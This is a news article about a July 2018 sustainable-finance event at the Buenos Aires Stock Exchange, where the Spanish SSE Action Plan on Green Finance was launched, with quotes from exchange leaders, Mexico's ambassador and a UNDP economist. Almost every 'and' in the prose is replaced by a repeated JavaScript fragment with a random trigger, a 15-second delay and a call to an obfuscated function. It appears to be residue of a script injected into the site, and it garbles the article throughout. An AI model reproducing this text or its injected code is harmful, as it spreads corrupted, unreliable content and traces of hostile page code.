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GENESIS organized the Event: Advancing in Sustainable Finance in the Bs As Stock Exchange

El 18 de Julio un evento organizado por Génesis, la BCBA, el Grupo Bolsa Mexicana y la Iniciativa de Bolsas…

GENESIS organized the Event: Advancing in Sustainable Finance in the Bs As Stock Exchange
GenesisEducationGENESIS organized the Event: Advancing in Sustainable Finance in the Bs As Stock Exchange

El 18 de Julio un evento organizado por Génesis, la BCBA, el Grupo Bolsa Mexicana y la Iniciativa de Bolsas Sostenibles contó con la presencia de la Embajadora de México en la Argentina, Mabel Gomez Oliver entre otras personalidades

Buenos Aires, July 18 2018. The Mexican Stock Exchange (BMV), the Buenos Aires Stock Exchange (BCBA), the United Nations Sustainable Stock Exchanges Initiative (SSE), MexiCO2 andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and GENESIS launched the Spanish version of the SSE Action Plan on Green Finance on 18 July, coinciding with the G20 meetings in Buenos Aires. The two exchanges worked with the ESS in order to further advance in green financing throughout the region.

“The Group of the Mexican Stock Exchange, given its regional leadership in the promotion of green andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and sustainable finance, reiterates its commitment andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and dedication to promote the greening of the Mexican financial system with the support granted to the SSE,” said José-Oriol Bosch Par, CEO of the BMV, who translated the document into Spanish. “Undoubtedly, this document prepared by the SSE andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the Expert Advisory Group is a valuable action plan to promote the development andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and growth of green finance among the stock exchanges of Latin America.”

The launch of the Action Plan was made within the framework of the event “Advancing in Sustainable Finance” held at the BCBA andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and organized by the institutions. More than 170 participants gathered to hear experts speak about green capital andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and green bonds, as well as the role of stock exchanges, regulatory authorities, small businesses, investors, banks andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and other key stakeholders in the capital market.

The meeting was attended by several experts in the field, as well as authorities andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and officials of public andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and private entities linked to this issue. In charge of the words of welcome, the President of the Buenos Aires Stock Exchange, Adelmo Gabbi, recalled the work done by BCBA in the Clean Development Mechanism (CDM): “A few years ago, the Stock Exchange worked on carbon credits under the CDM, which aimed to reduce carbon emissions. Today it is about improving the conditions of sustainability. I believe that this is the right path, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and on this road I recommend everyone to go. ”

Adelmo Gabbi

 

The Ambassador of Mexico in Argentina, Mabel Gómez Oliver, emphasized the recent commitment of Grupo  BMV andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the BCBA initialed at the United Nations Conference on Climate Change (COP23) held in Bonn, Germany, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and added: “As member countries of the G20 , Mexico andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Argentina have the responsibility to participate with a Latin American perspective – together with Brazil, of course – in the design andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and implementation of measures that guarantee sustainable andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and inclusive development. We must also contribute to the achievement of the 2030 Agenda for Sustainable Development andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the Paris Agreement on climate change. Achieving these objectives implies modifying the traditional way andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and vision with which we have financed the actions to achieve optimal levels of development. In this regard, sustainable financing represents a historic opportunity for financial markets, in the search for long-term prosperity. ”

Embajadora

 

For his part, the Senior Economist of the United Nations Development Program (UNDP) in Argentina, Rubén Mercado, shared with the audience a question: Why the great possibilities of financing that exist in the world do not flow towards the satisfaction of the needs of the 2030 Agenda?, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and explained: “From the UNDP, our diagnosis is that this has to do with the design of the incentives, which are not properly aligned to catalyze those funds. The global financing needs are more than 2,400 billion dollars, that is, 13% of the global GDP of developing countries andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and 2% of world GDP. Likewise, almost 50% of the financing needs of the 2030 Agenda are for infrastructure projects “. Mercado said that “there is no shortage of global funds to carry out the 2030 Agenda”, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and argued: “International institutional investors have a portfolio that is estimated at 115 billion dollars, however, only 3% of said global portfolio is invested in infrastructure projects. It is necessary then to build some scheme of incentives that will lead these funds to re-direct even a minimum part of those huge financial assets “.

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Alejandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andra Cámara, Director of Genesis, was the one to close the event with the Launch of the SSE Action Plan in Green Finance

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